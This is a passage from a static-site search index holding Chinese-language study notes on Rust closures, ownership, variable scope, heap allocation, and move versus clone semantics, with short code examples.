\u4e2d\u88ab\u5e7f\u6cdb\u5e94\u7528\u4e8e\u51fd\u6570\u5f0f\u7f16\u7a0b\u3001\u5e76\u53d1\u7f16\u7a0b\u548c\u4e8b\u4ef6\u9a71\u52a8\u7f16\u7a0b\u7b49\u9886\u57df\u3002</p> <p>\u95ed\u5305\u5728 Rust \u4e2d\u975e\u5e38\u6709\u7528\uff0c\u56e0\u4e3a\u5b83\u4eec\u63d0\u4f9b\u4e86\u4e00\u79cd\u7b80\u6d01\u7684\u65b9\u5f0f\u6765\u7f16\u5199\u548c\u4f7f\u7528\u51fd\u6570\u3002</p> <p>\u4ee5\u4e0b\u662f Rust \u95ed\u5305\u7684\u4e00\u4e9b\u5173\u952e\u7279\u6027\u548c\u7528\u6cd5\uff1a</p>"},{"location":"NOTE/CS/RUST/RUST/#_22","title":"\u95ed\u5305\u7684\u58f0\u660e","text":"<p>\u95ed\u5305\u7684\u8bed\u6cd5\u58f0\u660e <pre><code>|\u53c2\u6570\u00b7\u00b7\u00b7|&lt;\u8868\u8fbe\u5f0f&gt;\n</code></pre></p> <p>\u5176\u4e2d\u53c2\u6570\u53ef\u4ee5\u6709\u7c7b\u578b\u6ce8\u89e3,\u4e5f\u53ef\u4ee5\u7701\u7565,RUST\u7f16\u8bd1\u5668\u4f1a\u6839\u636e\u4e0a\u4e0b\u6587\u63a8\u65ad\u5b83\u4eec <pre><code>let add_one = |x:i32| x+1;\n</code></pre> \u95ed\u5305\u53ef\u4ee5\u67090\u4e2a\u6216\u8005\u591a\u4e2a\u53c2\u6570,\u5e76\u4e14\u53ef\u4ee5\u8fd4\u56de\u4e00\u4e2a\u503c,\u53ef\u4ee5\u50cf\u51fd\u6570\u4e00\u6837\u88ab\u8c03\u7528</p> <p><pre><code>let calculate = |a,b,c| a*c+b;\nlet result = calculate(1,2,3)\n</code></pre> \u95ed\u5305\u6709\u70b9\u50cfpython\u4e2d\u7684<code>lambda</code>\u8bed\u53e5\uff0c\u95ed\u5305\u5728 Rust \u4e2d\u7c7b\u4f3c\u4e8e\u533f\u540d\u51fd\u6570\uff0c\u53ef\u4ee5\u5728\u4ee3\u7801\u4e2d\u4ee5 {} \u8bed\u6cd5\u5757\u7684\u5f62\u5f0f\u5b9a\u4e49\uff0c\u4f7f\u7528 || \u7b26\u53f7\u6765\u8868\u793a\u53c2\u6570\u5217\u8868</p>"},{"location":"NOTE/CS/RUST/RUST/#_23","title":"\u6355\u83b7\u5916\u90e8\u53d8\u91cf","text":"<p>\u95ed\u5305\u53ef\u4ee5\u6355\u83b7\u5468\u56f4\u73af\u5883\u4e2d\u7684\u53d8\u91cf\uff0c\u8fd9\u610f\u5473\u7740\u5b83\u53ef\u4ee5\u8bbf\u95ee\u5b9a\u4e49\u95ed\u5305\u65f6\u6240\u5728\u4f5c\u7528\u57df\u4e2d\u7684\u53d8\u91cf\u3002</p> <p>Example</p> <pre><code>let x = 5;\nlet square = |num| num * x;\nprintln!(\"{}\", square(3)); // \u8f93\u51fa: 15\n</code></pre> <p>\u79fb\u52a8\u4e0e\u501f\u7528</p> <p>\u95ed\u5305\u53ef\u4ee5\u901a\u8fc7 <code>move</code> \u5173\u952e\u5b57\u83b7\u53d6\u5916\u90e8\u53d8\u91cf\u7684\u6240\u6709\u6743\uff0c\u6216\u8005\u901a\u8fc7\u501f\u7528\u7684\u65b9\u5f0f\u83b7\u53d6\u5916\u90e8\u53d8\u91cf\u7684\u5f15\u7528\u3002\u4f8b\u5982\uff1a <pre><code>let x = 10;\nlet add_x = |y| x + y;\nprintln!(\"{}\", add_x(5)); // \u8f93\u51fa 15\nprintln!(\"{}\", x); // \u4ecd\u7136\u53ef\u4ee5\u4f7f\u7528 x\n</code></pre> \u901a\u8fc7\u5728\u95ed\u5305\u524d\u6dfb\u52a0 <code>move</code> \u5173\u952e\u5b57\uff0c\u95ed\u5305\u4f1a\u83b7\u53d6\u5b83\u6355\u83b7\u7684\u73af\u5883\u53d8\u91cf\u7684\u6240\u6709\u6743\u3002\u8fd9\u610f\u5473\u7740\u8fd9\u4e9b\u53d8\u91cf\u7684\u6240\u6709\u6743\u4f1a\u4ece\u5916\u90e8\u4f5c\u7528\u57df\u8f6c\u79fb\u5230\u95ed\u5305\u5185\u90e8\uff0c\u5916\u90e8\u4f5c\u7528\u57df\u5c06\u65e0\u6cd5\u518d\u4f7f\u7528\u8fd9\u4e9b\u53d8\u91cf\u3002\u4f8b\u5982\uff1a <pre><code>let s = String::from(\"hello\");\nlet print_s = move || println!(\"{}\", s);\nprint_s(); // \u8f93\u51fa \"hello\"\n// println!(\"{}\", s); // \u8fd9\u884c\u4ee3\u7801\u5c06\u4f1a\u62a5\u9519\uff0c\u56e0\u4e3a s \u7684\u6240\u6709\u6743\u5df2\u7ecf\u88ab\u8f6c\u79fb\u7ed9\u4e86\u95ed\u5305\n</code></pre> <code>String::from(\"hello\")</code>: \u8fd9\u662f\u4e00\u4e2a\u8c03\u7528 <code>String</code> \u7c7b\u578b\u7684\u5173\u8054\u51fd\u6570 <code>from</code>\uff0c\u7528\u4e8e\u5c06\u4e00\u4e2a\u5b57\u9762\u91cf\u5b57\u7b26\u4e32<code>\uff08\"hello\"\uff09</code>\u8f6c\u6362\u4e3a\u4e00\u4e2a <code>String</code> \u7c7b\u578b\u3002</p> <p><code>String</code> \u7c7b\u578b:</p> <p>\u5728 Rust \u4e2d\uff0c\u5b57\u7b26\u4e32\u6709\u4e24\u79cd\u4e3b\u8981\u7684\u8868\u793a\u5f62\u5f0f\uff1a<code>&amp;str</code> \u548c <code>String</code>\u3002 <code>&amp;str</code> \u662f\u4e00\u79cd\u5207\u7247\uff0c\u901a\u5e38\u8868\u793a\u5728\u7f16\u8bd1\u65f6\u5df2\u77e5\u957f\u5ea6\u7684\u4e0d\u53ef\u53d8\u5b57\u7b26\u4e32\u3002 <code>String</code> \u662f\u4e00\u79cd\u5806\u5206\u914d\u7684\u53ef\u53d8\u5b57\u7b26\u4e32\uff0c\u9002\u7528\u4e8e\u5728\u8fd0\u884c\u65f6\u53ef\u80fd\u9700\u8981\u4fee\u6539\u6216\u6269\u5c55\u7684\u5b57\u7b26\u4e32\u3002</p> <p><code>String::from:</code></p> <p><code>String::from</code> \u662f <code>String</code> \u7c7b\u578b\u7684\u4e00\u4e2a\u5173\u8054\u51fd\u6570\uff0c\u5b83\u7528\u4e8e\u4ece <code>&amp;str</code> \u7c7b\u578b\u521b\u5efa\u4e00\u4e2a <code>String</code> \u7c7b\u578b\u7684\u503c\u3002 \u5728\u8fd9\u4e2a\u4f8b\u5b50\u4e2d\uff0c<code>String::from(\"hello\")</code>\u521b\u5efa\u4e86\u4e00\u4e2a\u65b0\u7684 <code>String</code>\uff0c\u5176\u4e2d\u5305\u542b\u4e86\u5b57\u7b26\u4e32 <code>\"hello\"</code> \u7684\u5185\u5bb9\u3002</p> <p>\u5206\u914d\u548c\u6240\u6709\u6743:</p> <p><code>String::from(\"hello\")</code> \u521b\u5efa\u7684 <code>String</code> \u5bf9\u8c61\u5728\u5806\u4e0a\u5206\u914d\u4e86\u5185\u5b58\uff0c\u5e76\u4e14\u62e5\u6709\u8be5\u5185\u5b58\u7684\u6240\u6709\u6743\u3002 \u53d8\u91cf <code>s</code> \u83b7\u5f97\u4e86\u8fd9\u4e2a <code>String</code> \u7684\u6240\u6709\u6743\uff0c\u8fd9\u610f\u5473\u7740\u5f53 s \u4f5c\u7528\u57df\u7ed3\u675f\u65f6\uff0cRust \u4f1a\u81ea\u52a8\u91ca\u653e <code>s</code> \u6240\u5360\u7528\u7684\u5185\u5b58\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_24","title":"\u8fed\u4ee3\u5668\u4e2d\u7684\u95ed\u5305","text":"<p>\u95ed\u5305\u5728rust\u4e2d\u7ecf\u5e38\u4e0e\u8fed\u4ee3\u5668\u4e00\u8d77\u4f7f\u7528\uff0c\u7528\u4e8e\u5bf9\u96c6\u5408\u4e2d\u7684\u5143\u7d20\u8fdb\u884c\u5904\u7406</p> <p>\u4f8b\u5982\u4e4b\u524d\u63d0\u8fc7\u7684<code>map</code>\u65b9\u6cd5</p> <pre><code>let vec = vec![1, 2, 3];\nlet squared_vec: Vec&lt;i32&gt; = vec.iter().map(|x| x * x).collect();\nprintln!(\"{:?}\", squared_vec); // \u8f93\u51fa: [1, 4, 9]\n</code></pre> <p>\u5728\u8fd9\u4e2a\u4f8b\u5b50\u4e2d\uff0c\u95ed\u5305<code>|x| x*x</code>\u88ab\u4f20\u9012\u7ed9<code>map()</code>\u5bf9\u96c6\u5408\u4e2d\u7684\u6bcf\u4e00\u4e2a\u5143\u7d20\u8fdb\u884c\u5e73\u65b9\u64cd\u4f5c</p> <p>\u95ed\u5305\u4f5c\u4e3a\u53c2\u6570\u548c\u8fd4\u56de\u503c</p> <p>\u95ed\u5305\u53ef\u4ee5\u4f5c\u4e3a\u53c2\u6570\u4f20\u9012\u7ed9\u51fd\u6570\uff0c\u4e5f\u53ef\u4ee5\u4f5c\u4e3a\u51fd\u6570\u7684\u8fd4\u56de\u503c\u3002</p> <pre><code>// \u5b9a\u4e49\u4e00\u4e2a\u51fd\u6570\uff0c\u63a5\u53d7\u4e00\u4e2a\u95ed\u5305\u4f5c\u4e3a\u53c2\u6570\uff0c\u5c06\u95ed\u5305\u5e94\u7528\u5230\u7ed9\u5b9a\u7684\u6570\u5b57\u4e0a\nfn apply_operation&lt;F&gt;(num: i32, operation: F) -&gt; i32\nwhere\n  F: Fn(i32) -&gt; i32,\n{\n  operation(num)\n}\n\n// \u4e3b\u51fd\u6570\nfn main() {\n  // \u5b9a\u4e49\u4e00\u4e2a\u6570\u5b57\n  let num = 5;\n\n  // \u5b9a\u4e49\u4e00\u4e2a\u95ed\u5305\uff0c\u7528\u4e8e\u5bf9\u6570\u5b57\u8fdb\u884c\u5e73\u65b9\u8fd0\u7b97\n  let square = |x| x * x;\n\n  // \u8c03\u7528\u51fd\u6570\uff0c\u5e76\u4f20\u5165\u95ed\u5305\u4f5c\u4e3a\u53c2\u6570\uff0c\u5bf9\u6570\u5b57\u8fdb\u884c\u5e73\u65b9\u8fd0\u7b97\n  let result = apply_operation(num, square);\n\n  // \u8f93\u51fa\u7ed3\u679c\n  println!(\"Square of {} is {}\", num, result);\n}\n</code></pre> <p>Info</p> <p><code>apply_operation</code> \u51fd\u6570</p> <p><code>fn apply_operation&lt;F&gt;(num: i32, operation: F) -&gt; i32</code>:</p> <p>\u8fd9\u662f\u4e00\u4e2a\u51fd\u6570\u5b9a\u4e49\u3002</p> <ul> <li><code>apply_operation</code> \u51fd\u6570\u63a5\u53d7\u4e24\u4e2a\u53c2\u6570\u5e76\u8fd4\u56de\u4e00\u4e2a <code>i32</code> \u7c7b\u578b\u7684\u503c\u3002</li> <li><code>num: i32</code>: \u7b2c\u4e00\u4e2a\u53c2\u6570 <code>num</code> \u662f\u4e00\u4e2a <code>i32</code> \u7c7b\u578b\u7684\u6574\u6570\u3002</li> <li><code>operation: F</code>: \u7b2c\u4e8c\u4e2a\u53c2\u6570 <code>operation</code> \u662f\u4e00\u4e2a\u6cdb\u578b <code>F</code>\uff0c\u5b83\u4ee3\u8868\u4e00\u4e2a\u95ed\u5305\uff08\u6216\u51fd\u6570\uff09\u3002</li> <li><code>-&gt; i32</code>: \u51fd\u6570\u8fd4\u56de\u4e00\u4e2a <code>i32</code> \u7c7b\u578b\u7684\u503c\u3002</li> </ul> <p><code>where F: Fn(i32) -&gt; i32</code>:</p> <p>\u8fd9\u662f\u4e00\u4e2a\u7ea6\u675f\uff0c\u89c4\u5b9a\u4e86\u6cdb\u578b <code>F</code>\u5fc5\u987b\u5b9e\u73b0 <code>Fn(i32) -&gt; i32</code> \u8fd9\u4e2a\u7279\u6027\u3002\u6362\u53e5\u8bdd\u8bf4\uff0c<code>F</code> \u5fc5\u987b\u662f\u4e00\u4e2a\u63a5\u53d7\u4e00\u4e2a <code>i32</code> \u53c2\u6570\u5e76\u8fd4\u56de\u4e00\u4e2a <code>i32</code> \u503c\u7684\u95ed\u5305\u6216\u51fd\u6570\u3002</p> <p><code>operation(num)</code>:</p> <p>\u8fd9\u884c\u4ee3\u7801\u8c03\u7528\u4e86\u4f20\u5165\u7684\u95ed\u5305 <code>operation</code>\uff0c\u5e76\u5c06 <code>num</code> \u4f5c\u4e3a\u53c2\u6570\u4f20\u9012\u7ed9\u5b83\u3002\u95ed\u5305\u7684\u6267\u884c\u7ed3\u679c\u5c06\u4f5c\u4e3a <code>apply_operation</code> \u51fd\u6570\u7684\u8fd4\u56de\u503c\u3002</p> <p><code>let result = apply_operation(num, square);</code>:</p> <p>\u8fd9\u884c\u4ee3\u7801\u8c03\u7528 <code>apply_operation</code> \u51fd\u6570\uff0c\u5c06 <code>num</code> \u548c <code>square</code> \u95ed\u5305\u4f5c\u4e3a\u53c2\u6570\u4f20\u5165\u3002 <code>apply_operation</code> \u51fd\u6570\u6267\u884c <code>square(num)</code>\uff0c\u5373\u8ba1\u7b97 5 \u7684\u5e73\u65b9\uff0c\u5e76\u5c06\u7ed3\u679c\u8fd4\u56de\u7ed9 <code>result</code> \u53d8\u91cf\u3002</p> <p>\u6700\u540e\u7a0b\u5e8f\u4f1a\u8f93\u51faSquare of 5 is 25</p>"},{"location":"NOTE/CS/RUST/RUST/#rust_1","title":"RUST\u6240\u6709\u6743","text":"<p>Abstract</p> <p>\u8ba1\u7b97\u673a\u7a0b\u5e8f\u5fc5\u987b\u5728\u8fd0\u884c\u65f6\u7ba1\u7406\u5b83\u4eec\u6240\u4f7f\u7528\u7684\u5185\u5b58\u8d44\u6e90\u3002</p> <p>\u5927\u591a\u6570\u7684\u7f16\u7a0b\u8bed\u8a00\u90fd\u6709\u7ba1\u7406\u5185\u5b58\u7684\u529f\u80fd\uff1a</p> <p>C/C++ \u8fd9\u6837\u7684\u8bed\u8a00\u4e3b\u8981\u901a\u8fc7\u624b\u52a8\u65b9\u5f0f\u7ba1\u7406\u5185\u5b58\uff0c\u5f00\u53d1\u8005\u9700\u8981\u624b\u52a8\u7684\u7533\u8bf7\u548c\u91ca\u653e\u5185\u5b58\u8d44\u6e90\u3002\u4f46\u4e3a\u4e86\u63d0\u9ad8\u5f00\u53d1\u6548\u7387\uff0c\u53ea\u8981\u4e0d\u5f71\u54cd\u7a0b\u5e8f\u529f\u80fd\u7684\u5b9e\u73b0\uff0c\u8bb8\u591a\u5f00\u53d1\u8005\u6ca1\u6709\u53ca\u65f6\u91ca\u653e\u5185\u5b58\u7684\u4e60\u60ef\u3002\u6240\u4ee5\u624b\u52a8\u7ba1\u7406\u5185\u5b58\u7684\u65b9\u5f0f\u5e38\u5e38\u9020\u6210\u8d44\u6e90\u6d6a\u8d39\u3002</p> <p>Java \u8bed\u8a00\u7f16\u5199\u7684\u7a0b\u5e8f\u5728\u865a\u62df\u673a\uff08JVM\uff09\u4e2d\u8fd0\u884c\uff0cJVM \u5177\u5907\u81ea\u52a8\u56de\u6536\u5185\u5b58\u8d44\u6e90\u7684\u529f\u80fd\u3002\u4f46\u8fd9\u79cd\u65b9\u5f0f\u5e38\u5e38\u4f1a\u964d\u4f4e\u8fd0\u884c\u65f6\u6548\u7387\uff0c\u6240\u4ee5 JVM \u4f1a\u5c3d\u53ef\u80fd\u5c11\u7684\u56de\u6536\u8d44\u6e90\uff0c\u8fd9\u6837\u4e5f\u4f1a\u4f7f\u7a0b\u5e8f\u5360\u7528\u8f83\u5927\u7684\u5185\u5b58\u8d44\u6e90\u3002</p> <p>\u6240\u6709\u6743\u5bf9\u5927\u591a\u6570\u5f00\u53d1\u8005\u800c\u8a00\u662f\u4e00\u4e2a\u65b0\u9896\u7684\u6982\u5ff5\uff0c\u5b83\u662f Rust \u8bed\u8a00\u4e3a\u9ad8\u6548\u4f7f\u7528\u5185\u5b58\u800c\u8bbe\u8ba1\u7684\u8bed\u6cd5\u673a\u5236\u3002\u6240\u6709\u6743\u6982\u5ff5\u662f\u4e3a\u4e86\u8ba9 Rust \u5728\u7f16\u8bd1\u9636\u6bb5\u66f4\u6709\u6548\u5730\u5206\u6790\u5185\u5b58\u8d44\u6e90\u7684\u6709\u7528\u6027\u4ee5\u5b9e\u73b0\u5185\u5b58\u7ba1\u7406\u800c\u8bde\u751f\u7684\u6982\u5ff5\u3002</p> <p>\u6240\u6709\u6743\u89c4\u5219</p> <ul> <li>Rust \u4e2d\u7684\u6bcf\u4e2a\u503c\u90fd\u6709\u4e00\u4e2a\u53d8\u91cf\uff0c\u79f0\u4e3a\u5176\u6240\u6709\u8005\u3002</li> <li>\u4e00\u6b21\u53ea\u80fd\u6709\u4e00\u4e2a\u6240\u6709\u8005\u3002</li> <li>\u5f53\u6240\u6709\u8005\u4e0d\u5728\u7a0b\u5e8f\u8fd0\u884c\u8303\u56f4\u65f6\uff0c\u8be5\u503c\u5c06\u88ab\u5220\u9664\u3002 </li> </ul> <p>\u53d8\u91cf\u8303\u56f4</p> <p>\u53d8\u91cf\u8303\u56f4\u662f\u53d8\u91cf\u7684\u4e00\u4e2a\u5c5e\u6027\uff0c\u5176\u4ee3\u8868\u53d8\u91cf\u7684\u53ef\u884c\u57df\uff0c\u9ed8\u8ba4\u4ece\u58f0\u660e\u53d8\u91cf\u5f00\u59cb\u6709\u6548\u76f4\u5230\u53d8\u91cf\u6240\u5728\u57df\u7ed3\u675f\u3002 <pre><code>{\n// \u5728\u58f0\u660e\u4ee5\u524d\uff0c\u53d8\u91cf s \u65e0\u6548\nlet s = \"runoob\";\n// \u8fd9\u91cc\u662f\u53d8\u91cf s \u7684\u53ef\u7528\u8303\u56f4\n}\n// \u53d8\u91cf\u8303\u56f4\u5df2\u7ecf\u7ed3\u675f\uff0c\u53d8\u91cf s \u65e0\u6548\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#_25","title":"\u5185\u5b58\u548c\u5206\u914d","text":"<p>\u5982\u679c\u6211\u4eec\u5b9a\u4e49\u4e86\u4e00\u4e2a\u53d8\u91cf\u5e76\u7ed9\u5b83\u8d4b\u4e88\u4e00\u4e2a\u503c\uff0c\u8fd9\u4e2a\u53d8\u91cf\u7684\u503c\u5b58\u5728\u4e8e\u5185\u5b58\u4e2d\u3002\u8fd9\u79cd\u60c5\u51b5\u5f88\u666e\u904d\u3002\u4f46\u5982\u679c\u6211\u4eec\u9700\u8981\u50a8\u5b58\u7684\u6570\u636e\u957f\u5ea6\u4e0d\u786e\u5b9a\uff08\u6bd4\u5982\u7528\u6237\u8f93\u5165\u7684\u4e00\u4e32\u5b57\u7b26\u4e32\uff09\uff0c\u6211\u4eec\u5c31\u65e0\u6cd5\u5728\u5b9a\u4e49\u65f6\u660e\u786e\u6570\u636e\u957f\u5ea6\uff0c\u4e5f\u5c31\u65e0\u6cd5\u5728\u7f16\u8bd1\u9636\u6bb5\u4ee4\u7a0b\u5e8f\u5206\u914d\u56fa\u5b9a\u957f\u5ea6\u7684\u5185\u5b58\u7a7a\u95f4\u4f9b\u6570\u636e\u50a8\u5b58\u4f7f\u7528\u3002\uff08\u6709\u4eba\u8bf4\u5206\u914d\u5c3d\u53ef\u80fd\u5927\u7684\u7a7a\u95f4\u53ef\u4ee5\u89e3\u51b3\u95ee\u9898\uff0c\u4f46\u8fd9\u4e2a\u65b9\u6cd5\u5f88\u4e0d\u6587\u660e\uff09\u3002\u8fd9\u5c31\u9700\u8981\u63d0\u4f9b\u4e00\u79cd\u5728\u7a0b\u5e8f\u8fd0\u884c\u65f6\u7a0b\u5e8f\u81ea\u5df1\u7533\u8bf7\u4f7f\u7528\u5185\u5b58\u7684\u673a\u5236\u2014\u2014\u2014\u2014\u5806\u3002</p> <p>\u6709\u5206\u914d\u5c31\u6709\u91ca\u653e\uff0c\u7a0b\u5e8f\u4e0d\u80fd\u4e00\u76f4\u5360\u7528\u67d0\u4e2a\u5185\u5b58\u8d44\u6e90\u3002\u56e0\u6b64\u51b3\u5b9a\u8d44\u6e90\u662f\u5426\u6d6a\u8d39\u7684\u5173\u952e\u56e0\u7d20\u5c31\u662f\u8d44\u6e90\u6709\u6ca1\u6709\u53ca\u65f6\u7684\u91ca\u653e\u3002</p> <p>\u4f8b\u5982\u5728C\u8bed\u8a00\u4e2d <pre><code>   char*s=\"abcd\"\n   free(s)\n</code></pre></p> <p>\u5f88\u663e\u7136\uff0cRust \u4e2d\u6ca1\u6709\u8c03\u7528 <code>free</code> \u51fd\u6570\u6765\u91ca\u653e\u5b57\u7b26\u4e32 <code>s</code> \u7684\u8d44\u6e90\uff08\u6211\u4eec\u77e5\u9053\u8fd9\u6837\u5728 C \u8bed\u8a00\u4e2d\u662f\u4e0d\u6b63\u786e\u7684\u5199\u6cd5\uff0c\u56e0\u4e3a <code>\"abcd\"</code> \u4e0d\u5728\u5806\u4e2d\uff0c\u8fd9\u91cc\u5047\u8bbe\u5b83\u5728\uff09\u3002Rust \u4e4b\u6240\u4ee5\u6ca1\u6709\u660e\u793a\u91ca\u653e\u7684\u6b65\u9aa4\u662f\u56e0\u4e3a\u5728\u53d8\u91cf\u8303\u56f4\u7ed3\u675f\u7684\u65f6\u5019\uff0cRust \u7f16\u8bd1\u5668\u81ea\u52a8\u6dfb\u52a0\u4e86\u8c03\u7528\u91ca\u653e\u8d44\u6e90\u51fd\u6570\u7684\u6b65\u9aa4\u3002</p> <p>\u8fd9\u79cd\u673a\u5236\u770b\u4f3c\u5f88\u7b80\u5355\u4e86\uff1a\u5b83\u4e0d\u8fc7\u662f\u5e2e\u52a9\u7a0b\u5e8f\u5458\u5728\u9002\u5f53\u7684\u5730\u65b9\u6dfb\u52a0\u4e86\u4e00\u4e2a\u91ca\u653e\u8d44\u6e90\u7684\u51fd\u6570\u8c03\u7528\u800c\u5df2\u3002\u4f46\u8fd9\u79cd\u7b80\u5355\u7684\u673a\u5236\u53ef\u4ee5\u6709\u6548\u5730\u89e3\u51b3\u4e00\u4e2a\u53f2\u4e0a\u6700\u4ee4\u7a0b\u5e8f\u5458\u5934\u75bc\u7684\u7f16\u7a0b\u95ee\u9898\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_26","title":"\u53d8\u91cf\u4e0e\u6570\u636e\u4ea4\u4e92\u7684\u65b9\u5f0f","text":"<p>\u53d8\u91cf\u4e0e\u6570\u636e\u4ea4\u4e92\u7684\u65b9\u5f0f\u6709\u4e24\u79cd:\u79fb\u52a8\uff08move\uff09\u548c\u514b\u9686\uff08clone\uff09\u4e24\u79cd</p> <p>\u79fb\u52a8\uff1a</p> <p>\u591a\u4e2a\u53d8\u91cf\u53ef\u4ee5\u5728rust\u4e2d\u4ee5\u4e0d\u540c\u7684\u65b9\u5f0f\u4e0e\u76f8\u540c\u7684\u6570\u636e\u4ea4\u4e92 <pre><code>let x = 5;\nlet y = x;\n</code></pre> \u8fd9\u4e2a\u7a0b\u5e8f\u5c06\u503c 5 \u7ed1\u5b9a\u5230\u53d8\u91cf x\uff0c\u7136\u540e\u5c06 x \u7684\u503c\u590d\u5236\u5e76\u8d4b\u503c\u7ed9\u53d8\u91cf y\u3002\u73b0\u5728\u6808\u4e2d\u5c06\u6709\u4e24\u4e2a\u503c 5\u3002\u6b64\u60c5\u51b5\u4e2d\u7684\u6570\u636e\u662f\"\u57fa\u672c\u6570\u636e\"\u7c7b\u578b\u7684\u6570\u636e\uff0c\u4e0d\u9700\u8981\u5b58\u50a8\u5230\u5806\u4e2d\uff0c\u4ec5\u5728\u6808\u4e2d\u7684\u6570\u636e\u7684\"\u79fb\u52a8\"\u65b9\u5f0f\u662f\u76f4\u63a5\u590d\u5236\uff0c\u8fd9\u4e0d\u4f1a\u82b1\u8d39\u66f4\u957f\u7684\u65f6\u95f4\u6216\u66f4\u591a\u7684\u5b58\u50a8\u7a7a\u95f4\u3002\"\u57fa\u672c\u6570\u636e\"\u7c7b\u578b\u6709\u8fd9\u4e9b\uff1a</p> <ul> <li>\u6240\u6709\u6574\u6570\u7c7b\u578b\uff0c\u4f8b\u5982 i32 \u3001 u32 \u3001 i64 \u7b49\u3002</li> <li>\u5e03\u5c14\u7c7b\u578b bool\uff0c\u503c\u4e3a true \u6216 false \u3002</li> <li>\u6240\u6709\u6d6e\u70b9\u7c7b\u578b\uff0cf32 \u548c f64\u3002</li> <li>\u5b57\u7b26\u7c7b\u578b char\u3002</li> <li>\u4ec5\u5305\u542b\u4ee5\u4e0a\u7c7b\u578b\u6570\u636e\u7684\u5143\u7ec4\uff08Tuples\uff09 </li> </ul> <p>\u4f46\u5982\u679c\u53d1\u751f\u4ea4\u4e92\u7684\u6570\u636e\u5728\u5806\u4e2d\u5c31\u662f\u53e6\u5916\u4e00\u79cd\u60c5\u51b5</p> <pre><code>let s1 = String::from(\"hello\");\nlet s2 = s1;\n</code></pre> <p>\u7b2c\u4e00\u6b65\u4ea7\u751f\u4e00\u4e2a String \u5bf9\u8c61\uff0c\u503c\u4e3a \"hello\"\u3002\u5176\u4e2d \"hello\" \u53ef\u4ee5\u8ba4\u4e3a\u662f\u7c7b\u4f3c\u4e8e\u957f\u5ea6\u4e0d\u786e\u5b9a\u7684\u6570\u636e\uff0c\u9700\u8981\u5728\u5806\u4e2d\u5b58\u50a8\u3002</p> <p>\u7b2c\u4e8c\u6b65\uff1a\u4e24\u4e2a String \u5bf9\u8c61\u5728\u6808\u4e2d\uff0c\u6bcf\u4e2a String \u5bf9\u8c61\u90fd\u6709\u4e00\u4e2a\u6307\u9488\u6307\u5411\u5806\u4e2d\u7684 \"hello\" \u5b57\u7b26\u4e32\u3002\u5728\u7ed9 s2 \u8d4b\u503c\u65f6\uff0c\u53ea\u6709\u6808\u4e2d\u7684\u6570\u636e\u88ab\u590d\u5236\u4e86\uff0c\u5806\u4e2d\u7684\u5b57\u7b26\u4e32\u4f9d\u7136\u8fd8\u662f\u539f\u6765\u7684\u5b57\u7b26\u4e32\u3002</p> <p>\u524d\u9762\u6211\u4eec\u8bf4\u8fc7\uff0c\u5f53\u53d8\u91cf\u8d85\u51fa\u8303\u56f4\u65f6\uff0cRust \u81ea\u52a8\u8c03\u7528\u91ca\u653e\u8d44\u6e90\u51fd\u6570\u5e76\u6e05\u7406\u8be5\u53d8\u91cf\u7684\u5806\u5185\u5b58\u3002\u4f46\u662f s1 \u548c s2 \u90fd\u88ab\u91ca\u653e\u7684\u8bdd\u5806\u533a\u4e2d\u7684 \"hello\" \u88ab\u91ca\u653e\u4e24\u6b21\uff0c\u8fd9\u662f\u4e0d\u88ab\u7cfb\u7edf\u5141\u8bb8\u7684\u3002\u4e3a\u4e86\u786e\u4fdd\u5b89\u5168\uff0c\u5728\u7ed9 s2 \u8d4b\u503c\u65f6 s1 \u5df2\u7ecf\u65e0\u6548\u4e86\u3002\u6ca1\u9519\uff0c\u5728\u628a s1 \u7684\u503c\u8d4b\u7ed9 s2 \u4ee5\u540e s1 \u5c06\u4e0d\u53ef\u4ee5\u518d\u88ab\u4f7f\u7528\u3002</p> <pre><code>  let s1 = String::from(\"hello\");\n  let s2 = s1; \n  println!(\"{}, world!\", s1); // \u9519\u8bef\uff01s1 \u5df2\u7ecf\u5931\u6548\n</code></pre> <p>\u8fd9\u6bb5\u7a0b\u5e8f\u662f\u9519\u7684\uff0c\u5728\u7ed9<code>s2</code>\u8d4b\u503c\u4e4b\u540e\uff0c<code>s1</code>\u5df2\u7ecf\u540d\u5b58\u5b9e\u4ea1\u4e86</p> <p>\u514b\u9686</p> <p>Rust\u4f1a\u5c3d\u53ef\u80fd\u5730\u964d\u4f4e\u7a0b\u5e8f\u7684\u8fd0\u884c\u6210\u672c\uff0c\u6240\u4ee5\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u957f\u5ea6\u8f83\u5927\u7684\u6570\u636e\u5b58\u653e\u5728\u5806\u4e2d\uff0c\u4e14\u91c7\u7528\u79fb\u52a8\u7684\u65b9\u5f0f\u8fdb\u884c\u6570\u636e\u4ea4\u4e92\u3002\u4f46\u5982\u679c\u9700\u8981\u5c06\u6570\u636e\u5355\u7eaf\u7684\u590d\u5236\u4e00\u4efd\u4ee5\u4f9b\u4ed6\u7528\uff0c\u53ef\u4ee5\u4f7f\u7528\u6570\u636e\u7684\u7b2c\u4e8c\u79cd\u4ea4\u4e92\u65b9\u5f0f\u2014\u2014\u514b\u9686\u3002</p> <p>\u5b9e\u4f8b <pre><code>fn main() {\n    let s1 = String::from(\"hello\");\n    let s2 = s1.clone();\n    println!(\"s1 = {}, s2 = {}\", s1, s2);\n}\n</code></pre> \u8fd0\u884c\u7ed3\u679c\uff1a <pre><code>s1 = hello, s2 = hello\n</code></pre> \u8fd9\u91cc\u662f\u771f\u7684\u5c06\u5806\u4e2d\u7684 \"hello\" \u590d\u5236\u4e86\u4e00\u4efd\uff0c\u6240\u4ee5 s1 \u548c s2 \u90fd\u5206\u522b\u7ed1\u5b9a\u4e86\u4e00\u4e2a\u503c\uff0c\u91ca\u653e\u7684\u65f6\u5019\u4e5f\u4f1a\u88ab\u5f53\u4f5c\u4e24\u4e2a\u8d44\u6e90\u3002</p> <p>\u5f53\u7136\uff0c\u514b\u9686\u4ec5\u5728\u9700\u8981\u590d\u5236\u7684\u60c5\u51b5\u4e0b\u4f7f\u7528\uff0c\u6bd5\u7adf\u590d\u5236\u6570\u636e\u4f1a\u82b1\u8d39\u66f4\u591a\u7684\u65f6\u95f4\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_27","title":"\u6d89\u53ca\u51fd\u6570\u7684\u6240\u6709\u6743\u673a\u5236","text":"<p>\u5bf9\u4e8e\u53d8\u91cf\u6765\u8bf4\u8fd9\u662f\u6700\u590d\u6742\u7684\u60c5\u51b5\u4e86</p> 